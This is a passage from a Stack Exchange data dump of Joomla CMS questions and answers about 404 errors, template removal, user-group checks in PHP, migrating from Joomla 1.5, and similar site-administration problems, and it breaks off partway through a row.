  <row Id="18344" PostTypeId="1" AcceptedAnswerId="18345" CreationDate="2016-11-12T21:19:17.557" Score="3" ViewCount="7562" Body="&lt;p&gt;I recently installed joomla! to my website when I published the getting started article and loaded up my website it worked, but when I tried to get rid of that article and publish my own article, I get a 404 once I try to reload my website. I will post images below that may help&#xA;&lt;a href=&quot;https://i.stack.imgur.com/WOlr3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WOlr3.png&quot; alt=&quot;Page that loads when you go to the homepage of my website&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ce6CP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ce6CP.png&quot; alt=&quot;Picture of article status&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9288" LastActivityDate="2016-11-14T20:47:02.903" Title="404 error when publishing a new article joomla!" Tags="|joomla-3.x|articles|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18345" PostTypeId="2" ParentId="18344" CreationDate="2016-11-12T22:06:45.880" Score="2" Body="&lt;p&gt;From your example it is unclear what is the menu link (URL) for article in question.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is your home page and if the default (Home) menu item is of type Articles » Featured Articles, then 404 should not have happened.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, if that page was menu item of type Articles » Single Article, and it was linked to &quot;getting started article&quot; which you &quot;got rid of&quot;, then you basicaly deleted article to which the menu item was pointing to, hence you got 404. If that is the case, you should go to Menu Manager, find the menu item in question and refresh the link to article it is pointing to, meaning to your new article instead to deleted one.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-11-14T19:54:48.213" LastActivityDate="2016-11-14T19:54:48.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18346" PostTypeId="1" CreationDate="2016-11-13T08:13:30.383" Score="3" ViewCount="339" Body="&lt;p&gt;I have multilingual (fa/en) Joomla 3.6.2 site using Protostar template. The problem is when I click on the fa - (persian flag) or UK flag, the lang and dir tag does not change, but when I hit the refresh button they change to correct value. Also the site does not load correct CSS. &lt;/p&gt;&#xA;" OwnerUserId="8448" LastEditorUserId="3650" LastEditDate="2016-11-13T22:41:16.800" LastActivityDate="2024-04-01T08:02:30.383" Title="Language changing only after page refresh" Tags="|joomla-3.x|multilingual|jhtml|" AnswerCount="1" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18349" PostTypeId="2" ParentId="18322" CreationDate="2016-11-13T10:11:58.327" Score="1" Body="&lt;p&gt;I believe &lt;a href=&quot;https://www.seblod.com/resources/manuals/advanced/setting-up-multi-sites&quot; rel=&quot;nofollow&quot;&gt;Seblod Multisites Feature&lt;/a&gt; is capable for that and it's free. But the learning curve is steep (but it's worth it)&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2016-11-13T10:11:58.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18350" PostTypeId="1" AcceptedAnswerId="18356" CreationDate="2016-11-13T23:22:28.273" Score="7" ViewCount="1802" Body="&lt;p&gt;When I first installed my Joomla 3.x website, I uninstalled the default Joomla templates: Beez3, Protostar, Hathor, Isis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every time I upgrade to a new Joomla version, Joomla appears to reinstall these templates back into the &lt;code&gt;/templates/&lt;/code&gt; &amp;amp; &lt;code&gt;/administrator/templates/&lt;/code&gt; folder. Furthermore, they don't get recognized and appear back in the administrator panel, they can only be seen from a file manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I prevent Joomla from reinstalling these directories every time I update my Joomla version?&lt;/p&gt;&#xA;" OwnerUserId="5845" LastEditorUserId="3650" LastEditDate="2016-12-01T13:02:53.847" LastActivityDate="2016-12-01T13:02:53.847" Title="How to permanently remove/disable default Joomla templates" Tags="|joomla-3.x|templates|update|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18351" PostTypeId="2" ParentId="16841" CreationDate="2016-11-14T02:06:27.190" Score="1" Body="&lt;p&gt;There were debates arround Adding HTML support to Joomla Notification email for com_user a while ago and even there's a (closed/cancelled)&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/9634&quot; rel=&quot;nofollow noreferrer&quot;&gt; pull request&lt;/a&gt; for that. If you're willing to hack the core you can follow the code changes those are proposed in that pull request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative to Piero suggestion, there's a component (paid one) called &lt;a href=&quot;https://techjoomla.com/products/email-beautifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;E-mail Beautifier&lt;/a&gt; that allows you to add HTML support to Joomla notification email. I haven't tested it but you might want to check it out.&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2016-11-14T02:06:27.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18352" PostTypeId="2" ParentId="18165" CreationDate="2016-11-14T02:08:29.920" Score="2" Body="&lt;p&gt;Finally I found the solution! The problem is that, for some reason, the Joomla was saving the temporary file to the &quot;administrator/tmp&quot; folder &lt;strong&gt;BUT&lt;/strong&gt; the fopen function expects a fully qualified path, so I simply edit the Joomla configuration &quot;Path to Temp Folder&quot;, at Server Tab, to include a full path to my tmp folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On another words, the Joomla can &lt;strong&gt;STORE&lt;/strong&gt; files using relative path names, but relative path names cannot be read correctly by the fopen function and so, the update always fails. To fix, I used a fully qualified path name on the &quot;Path to Temp Folder&quot; configuration&lt;/p&gt;&#xA;" OwnerUserId="9187" LastActivityDate="2016-11-14T02:08:29.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18353" PostTypeId="2" ParentId="18343" CreationDate="2016-11-14T02:46:06.657" Score="6" Body="&lt;p&gt;There are two ways you can do for that (both are safe from Joomla update / you won't loose the changes when updating your Joomla) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. By using template override&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy the file &lt;em&gt;/components/com_users/views/registration/tmpl/default.php&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;/templates/your_template_name/html/com_users/registration/default.php&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then open it with your favorite php editor. &#xA;Arround lines 29-32 you will see this code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (isset($fieldset-&amp;gt;label)): ?&amp;gt;&#xA;        &amp;lt;legend&amp;gt;&amp;lt;?php echo JText::_($fieldset-&amp;gt;label);?&amp;gt;&amp;lt;/legend&amp;gt;&#xA;&amp;lt;?php endif;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simply add your text after that code, so it would become like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (isset($fieldset-&amp;gt;label)): ?&amp;gt;&#xA;        &amp;lt;legend&amp;gt;&amp;lt;?php echo JText::_($fieldset-&amp;gt;label);?&amp;gt;&amp;lt;/legend&amp;gt;&#xA;&amp;lt;?php endif;?&amp;gt;&#xA;&amp;lt;p&amp;gt;This is your additional text&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. By using language override&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why you are thinking the language override won't work, but you can try these steps below (this indeed a bit tricky but it should be simple and you can do this if you don't want to touch the code) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;strong&gt;Extensions &gt; Languges &gt; Override(s)&lt;/strong&gt; from your Administrator page.&#xA;Click on the &lt;strong&gt;New&lt;/strong&gt; Button then search COM_USERS_REGISTRATION_DEFAULT_LABEL in the search form in the right of page and set the &lt;strong&gt;Search for&lt;/strong&gt; to &lt;strong&gt;Constant&lt;/strong&gt;.&#xA;Click on the result item then you will see in the left side, string to override. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the text 'User registration' to this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;User Registration &amp;lt;/legend&amp;gt; &amp;lt;p&amp;gt;This is your additional text&amp;lt;/p&amp;gt;&amp;lt;legend&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9yOqP.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9yOqP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="2295" LastEditDate="2016-11-14T02:51:34.753" LastActivityDate="2016-11-14T02:51:34.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18354" PostTypeId="1" AcceptedAnswerId="18363" CreationDate="2016-11-14T09:38:12.497" Score="3" ViewCount="93" Body="&lt;p&gt;I have a site that the developer died before he could fix some bugs in it apart from doing some site maintenance. The site was done using Joomla 1.5 some years ago. The owner likes  the way it is designed I mean the template. After struggling to get the administrator password I log onto the Administrator account where I find a lot of errors that are showing due to the terminated support of some components and plugins. &#xA;A scary error shows on top that Joomla 1.5 is no longer supported. I want to create a new site from scratch then add the few articles and components that I can from the old site. However the owner is ready for a change. He likes the interface and only wants me to fix the errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Migrating also has a number of obstacles. For instance I will not find templates, components and plugins that work like in the old site. Please enlighten me on how to go about this issue&lt;/p&gt;&#xA;" OwnerUserId="3802" LastEditorUserId="3650" LastEditDate="2016-11-14T18:20:49.360" LastActivityDate="2018-09-16T13:29:51.983" Title="Updating my site to the current CMS" Tags="|joomla-3.3.x|joomla-1.5|migration|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18355" PostTypeId="1" CreationDate="2016-11-14T10:12:32.073" Score="0" ViewCount="513" Body="&lt;p&gt;I have an issue where the pagination in K2 Category layout is not showing the active class on the correct element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This page is an example &lt;a href=&quot;https://realsport101.com/news/page-3&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://realsport101.com/news/page-3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is showing the active class on page 2 when it should be shown on page 3:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code in templates/template_name/html/com_k2/default/category.php is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;k2Pagination&quot;&amp;gt;&#xA;    &amp;lt;?php if($this-&amp;gt;params-&amp;gt;get('catPagination')) echo $this-&amp;gt;pagination-&amp;gt;getPagesLinks(); ?&amp;gt;&#xA;    &amp;lt;div class=&quot;clr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php if($this-&amp;gt;params-&amp;gt;get('catPaginationResults')) echo $this-&amp;gt;pagination-&amp;gt;getPagesCounter(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't think this is an override issue as the default code in /components/com_k2/templates/default/category.php is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;k2Pagination&quot;&amp;gt;&#xA;    &amp;lt;?php if($this-&amp;gt;params-&amp;gt;get('catPagination')) echo $this-&amp;gt;pagination-&amp;gt;getPagesLinks(); ?&amp;gt;&#xA;    &amp;lt;div class=&quot;clr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php if($this-&amp;gt;params-&amp;gt;get('catPaginationResults')) echo $this-&amp;gt;pagination-&amp;gt;getPagesCounter(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is exactly the same&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2016-11-14T12:08:57.633" LastActivityDate="2016-11-14T12:08:57.633" Title="K2 Pagination not showing on correct item" Tags="|joomla-3.x|k2|css|pagination|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18356" PostTypeId="2" ParentId="18350" CreationDate="2016-11-14T10:37:55.630" Score="9" Body="&lt;p&gt;You can't prevent Joomla from upgrading her core templates. They are in there for a reason as a part of default installation. I am afraid you will just have to learn how to live with them. I did the same, because they used to bug me before, but not anymore...  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you really want to move them out of your way, you can always Disable them in&lt;br&gt;&#xA;&lt;code&gt;Extensions | Manage | Manage&lt;/code&gt;, dropdown &lt;code&gt;'Select a type' | Template&lt;/code&gt;, just like any other built-in extension which is not protected.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-11-21T13:49:47.580" LastActivityDate="2016-11-21T13:49:47.580" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18357" PostTypeId="1" AcceptedAnswerId="18358" CreationDate="2016-11-14T10:50:33.413" Score="5" ViewCount="7043" Body="&lt;p&gt;For determining whether user is a &lt;code&gt;super user&lt;/code&gt;, we do something like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;$isAdmin = $user-&amp;gt;get('isRoot');&#xA;if ($isAdmin) {&#xA;echo 'You are an Administrator';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What would be the best way to know that the logged in user belongs to a specific usergroup or has some specific viewing access level?&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="126" LastEditDate="2016-11-15T12:52:22.060" LastActivityDate="2016-11-15T12:52:22.060" Title="How to know which usergroup/specific access level user belongs to" Tags="|joomla-3.x|php|user|user-groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18358" PostTypeId="2" ParentId="18357" CreationDate="2016-11-14T11:14:29.193" Score="10" Body="&lt;p&gt;To get an array of groups the currently logged in user belong to, you can use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user   = JFactory::getUser();&#xA;$groups = JAccess::getGroupsByUser($user-&amp;gt;id);&#xA;&#xA;var_dump($groups);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get the names of these groups, you can run a database query (add after the code above)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user   = JFactory::getUser();&#xA;$groups = JAccess::getGroupsByUser($user-&amp;gt;id);&#xA;$groups_list = '(' . implode(',', $groups) . ')';&#xA;&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select($db-&amp;gt;qn('title'))&#xA;    -&amp;gt;from('#__usergroups')&#xA;    -&amp;gt;where($db-&amp;gt;qn('id') . ' IN ' . $groups_list);&#xA;$db-&amp;gt;setQuery($query);&#xA;$rows = $db-&amp;gt;loadObjectList();&#xA;&#xA;var_dump($rows);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get the user's access levels, you can use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user   = JFactory::getUser();&#xA;$levels = JAccess::getAuthorisedViewLevels($user-&amp;gt;id);&#xA;&#xA;var_dump($levels);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-11-14T11:14:29.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18360" PostTypeId="2" ParentId="18350" CreationDate="2016-11-14T13:39:22.923" Score="5" Body="&lt;p&gt;What I do is to go in:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Extensions -&gt; Manage&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and disable any extensions, templates that I don't use. Of course if we are talking about 3rd party extensions, I totally uninstall them - but disable for core extensions does also work, so they are out of my way in most administration tasks.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-11-14T13:39:22.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18361" PostTypeId="2" ParentId="8842" CreationDate="2016-11-14T15:37:34.617" Score="1" Body="&lt;p&gt;Hey Jack if you could try using JUri::root() when defining the path of your site, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   protected function createEmailBody($subscription, $subject, $url, $message, $once) {&#xA;        $config = KunenaFactory::getConfig();&#xA;        if ($subscription) {&#xA;            $msg1 = $this-&amp;gt;get ( 'parent' ) ? JText::_ ( 'COM_KUNENA_POST_EMAIL_NOTIFICATION1' ) : JText::_ ( 'COM_KUNENA_POST_EMAIL_NOTIFICATION1_CAT' );&#xA;            $msg2 = $this-&amp;gt;get ( 'parent' ) ? JText::_ ( 'COM_KUNENA_POST_EMAIL_NOTIFICATION2' ) : JText::_ ( 'COM_KUNENA_POST_EMAIL_NOTIFICATION2_CAT' );&#xA;        } else {&#xA;            $msg1 = JText::_ ( 'COM_KUNENA_POST_EMAIL_MOD1' );&#xA;            $msg2 = JText::_ ( 'COM_KUNENA_POST_EMAIL_MOD2' );&#xA;        }&#xA;&#xA;        $msg = $msg1 . &quot; &quot; . $config-&amp;gt;board_title . &quot;\n\n&quot;;&#xA;        // DO NOT REMOVE EXTRA SPACE, JMailHelper::cleanBody() removes &quot;Subject:&quot; from the message body&#xA;        $msg .= JText::_ ( 'COM_KUNENA_MESSAGE_SUBJECT' ) . &quot; : &quot; . $subject . &quot;\n&quot;;&#xA;        $msg .= JText::_ ( 'COM_KUNENA_CATEGORY' ) . &quot; : &quot; . $this-&amp;gt;getCategory()-&amp;gt;name . &quot;\n&quot;;&#xA;        $msg .= JText::_ ( 'COM_KUNENA_VIEW_POSTED' ) . &quot; : &quot; . $this-&amp;gt;getAuthor()-&amp;gt;getName('???', false) . &quot;\n\n&quot;;&#xA;        $msg .= &quot;URL : $url\n\n&quot;;&#xA;        if ($config-&amp;gt;mailfull == 1) {&#xA;            $msg .= JText::_ ( 'COM_KUNENA_MESSAGE' ) . &quot; :\n-----\n&quot;;&#xA;            $msg .= $message;&#xA;            $msg .= &quot;\n-----\n\n&quot;;&#xA;            $msg .= '&amp;lt;img src=&quot;' . JUri::root() . 'templates/jsn_nuru_free/images/colors/red/logo.png&quot; width=&quot;100&quot;/&amp;gt;';&#xA;        }&#xA;        $msg .= $msg2 . &quot;\n&quot;;&#xA;        if ($subscription &amp;amp;&amp;amp; $once) {&#xA;            if ($this-&amp;gt;parent) {&#xA;                $msg .= JText::_ ( 'COM_KUNENA_POST_EMAIL_NOTIFICATION_MORE_READ' ) . &quot;\n&quot;;&#xA;            } else {&#xA;                $msg .= JText::_ ( 'COM_KUNENA_POST_EMAIL_NOTIFICATION_MORE_SUBSCRIBE' ) . &quot;\n&quot;;&#xA;            }&#xA;        }&#xA;        $msg .= &quot;\n&quot;;&#xA;        $msg .= JText::_ ( 'COM_KUNENA_POST_EMAIL_NOTIFICATION3' ) . &quot;\n&quot;;&#xA;        return JMailHelper::cleanBody ( $msg );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3802" LastActivityDate="2016-11-14T15:37:34.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18362" PostTypeId="2" ParentId="16001" CreationDate="2016-11-14T16:11:52.407" Score="0" Body="&lt;p&gt;There is an easier way.&#xA;Go to Templates &gt; Style &gt; Shaper_helix3  &gt; Menu &gt; Menu Type and choose: Mega Menu&#xA;Save and  thats it!&lt;/p&gt;&#xA;" OwnerUserId="2199" LastActivityDate="2016-11-14T16:11:52.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18363" PostTypeId="2" ParentId="18354" CreationDate="2016-11-14T19:47:20.670" Score="3" Body="&lt;p&gt;The best way to go about this issue is to persuade your client to undertake a migration to a modern stable version of Joomla (currently 3.6.4) or build a new site from scratch in case there is very little content. It may be and often is viewed by clients as unneccessary hustle and expense but in the long run it proves to be the best practice both for clients and webmasters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Why_Migrate&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reasons to migrate&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Joomla_1.5_to_3.x_Step_by_Step_Migration&quot; rel=&quot;nofollow noreferrer&quot;&gt;Step by step instruction on migrating J1.5 to 3.x&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is very likely you would not find an exact match to the old extensions used on J1.5 especially design-like but you should be able to find the ones that function close enough. I would have been more specific if you told us what are the extensions that you need to replace.&lt;/p&gt;&#xA;" OwnerUserId="9245" LastActivityDate="2016-11-14T19:47:20.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18364" PostTypeId="2" ParentId="15814" CreationDate="2016-11-14T20:39:43.323" Score="1" Body="&lt;p&gt;J2XML is an easy to use import/export solution for your Joomla!® 3 powered website.&#xA;Features:&#xA;- It allows you to export articles and users to an xml file.&#xA;- Import articles and users from an xml file (generated by J2XML)&#xA;- Send articles and user to another Joomla! site.&#xA;- CLI (command line interface)&#xA;- Export/import weblinks&#xA;- Export/import viewing access&#xA;- Export/import tags&#xA;- Export/import contacts&#xA;- 3rd party plugins support&lt;/p&gt;&#xA;" OwnerUserId="3802" LastActivityDate="2016-11-14T20:39:43.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18365" PostTypeId="2" ParentId="18344" CreationDate="2016-11-14T20:47:02.903" Score="2" Body="&lt;p&gt;Please try turning display errors on could help you. &#xA;Then you may also try few other solutions from those you might try this&#xA;1. Go to Content at top of admin control panel&#xA;2. Click Article Manager---this should bring you to the Articles section&#xA;3. second choice on left below article might be highlighted---but it is categories&#xA;4. I noticed mine was labeled uncategorised---but it had a red check there&#xA;5. the red check means unpublished--click on the red check and to have it changes to published...if it doesn't try saving it and then reopening the page...&lt;/p&gt;&#xA;" OwnerUserId="3802" LastActivityDate="2016-11-14T20:47:02.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18366" PostTypeId="2" ParentId="18354" CreationDate="2016-11-15T00:41:35.957" Score="2" Body="&lt;p&gt;I recommend stabilising the current website while you work out how to migrate to the latest version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Stabilise the Current Website&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Backup the current website using &lt;a href=&quot;https://extensions.joomla.org/extension/akeeba-backup&quot; rel=&quot;nofollow noreferrer&quot;&gt;Akeeba Backup&lt;/a&gt; or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upgrade to Joomla v1.5.26 (if the site isn't already on the latest version in the series) and apply all the relevant EOL patches which you can find at &lt;a href=&quot;https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compile a list of the currently installed third party extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove any third party extensions that are not being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update the remaining third party extensions to the latest versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check that none of the currently installed third party extension versions are listed in the VEL at &lt;a href=&quot;https://vel.joomla.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://vel.joomla.org&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the hosting to the latest version of PHP that Joomla 1.5 will run on (e.g. &lt;a href=&quot;https://joomla.stackexchange.com/q/786/120&quot;&gt;PHP 5.6 is usually fine&lt;/a&gt; but you will probably need to &lt;a href=&quot;https://stackoverflow.com/questions/9983286/disabling-strict-standards-in-php-5-4/9984309#9984309&quot;&gt;suppress &quot;deprecated&quot; warning messages&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Migrate to the Latest Version of Joomla&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check on the template developer website whether there is a version of the template for the latest version of Joomla. If not there may be something similar from the same developer or another developer where you can add a custom CSS file to make it look like the current template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the list of third party extensions from the previous step, investigate which extensions have equivalent versions for the latest version of Joomla and find substitutes for any extensions that have been discontinued since Joomla 1.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on how many users, menus, categories, articles, contacts, modules, links and so on you have to migrate, decide whether to use a migration utility such as &lt;a href=&quot;https://extensions.joomla.org/extension/sp-upgrade&quot; rel=&quot;nofollow noreferrer&quot;&gt;SP Upgrade&lt;/a&gt; or similar or whether it is practical to migrate items manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is usually best to create the new website in a subdirectory e.g. &lt;code&gt;/new&lt;/code&gt; until you are ready to make the new website live. This means you can take your time and test the new website thoroughly while the old website is still available to website visitors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the new website is ready, I recommend moving the current website into a subdirectory e.g. &lt;code&gt;/old&lt;/code&gt; and the new website into the root folder so you still have the old website to refer to for a few weeks in case anything has been missed in the migration. (Remember to update the paths to the &lt;code&gt;tmp&lt;/code&gt; and &lt;code&gt;logs&lt;/code&gt; folders in Global Configuration).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the new website has been active for a few weeks and everything is working well, remember to delete the old version and you can then set the hosting to &lt;a href=&quot;http://php.net/supported-versions.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;an up to date version of PHP&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2018-09-16T13:29:51.983" LastActivityDate="2018-09-16T13:29:51.983" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18367" PostTypeId="2" ParentId="15934" CreationDate="2016-11-15T02:17:31.110" Score="0" Body="&lt;p&gt;With the latest Joomla! the minicolor plugin has been updated and it's easy to achieve this without having to add the above multicolor.php. Just adjust your XML field to;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;   name=&quot;YourCustomFieldName&quot; &#xA;   type=&quot;color&quot;&#xA;   label=&quot;Choose color&quot;&#xA;   format=&quot;rgb&quot;&#xA;   description=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to add the opacity effect, change the format command to; format=&quot;rgba&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The color field box in your extension option(s) will generate the necessary rgb and opacity code that you'll use in your frontend PHP structure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's it! This 'color' XML command is still not documented within the Joomla! docs... What a shame!&lt;/p&gt;&#xA;" OwnerUserId="9293" LastActivityDate="2016-11-15T02:17:31.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18370" PostTypeId="1" CreationDate="2016-11-15T06:53:52.847" Score="1" ViewCount="56" Body="&lt;p&gt;I can only retrieve the global keywords. Is there a way to retrieve the article's keywords? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to modify the Administrator template. I want to add each article's keywords to the Articles view page located at (Administrator template: html/com_content/articles/default.php).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $document = JFactory::getDocument();&#xA;    $content = $document-&amp;gt;getMetaData('keywords');&#xA;    echo $content;&#xA;    ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9066" LastActivityDate="2016-11-15T19:29:00.383" Title="I can only grab the global keywords and not the article keywords" Tags="|database|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18371" PostTypeId="1" CreationDate="2016-11-15T10:16:15.180" Score="8" ViewCount="193" Body="&lt;p&gt;I'm trying to create a behaviour such as : if there's a php fatal error, I want the joomla error page to show up, but I also want to receive a mail telling me what the error was.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea here is to get rid off the step to check in apache's error log to find out the specific error. I also want my visitor to see the custom error page I've set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen a few things that might help me, like &quot;ErrorDocument 500 /myerrorpage&quot; however, I can't see a way to catch the error there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to send a mail containing the error ? The only solution I can see right now is sending a mail like &quot;Hey, someone just landed on the error page, you might want to check out apache's error log to fix it&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS : If possible I'd like not to use a third party module or plugin, I prefer making my one in terms of security/maintainability&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" 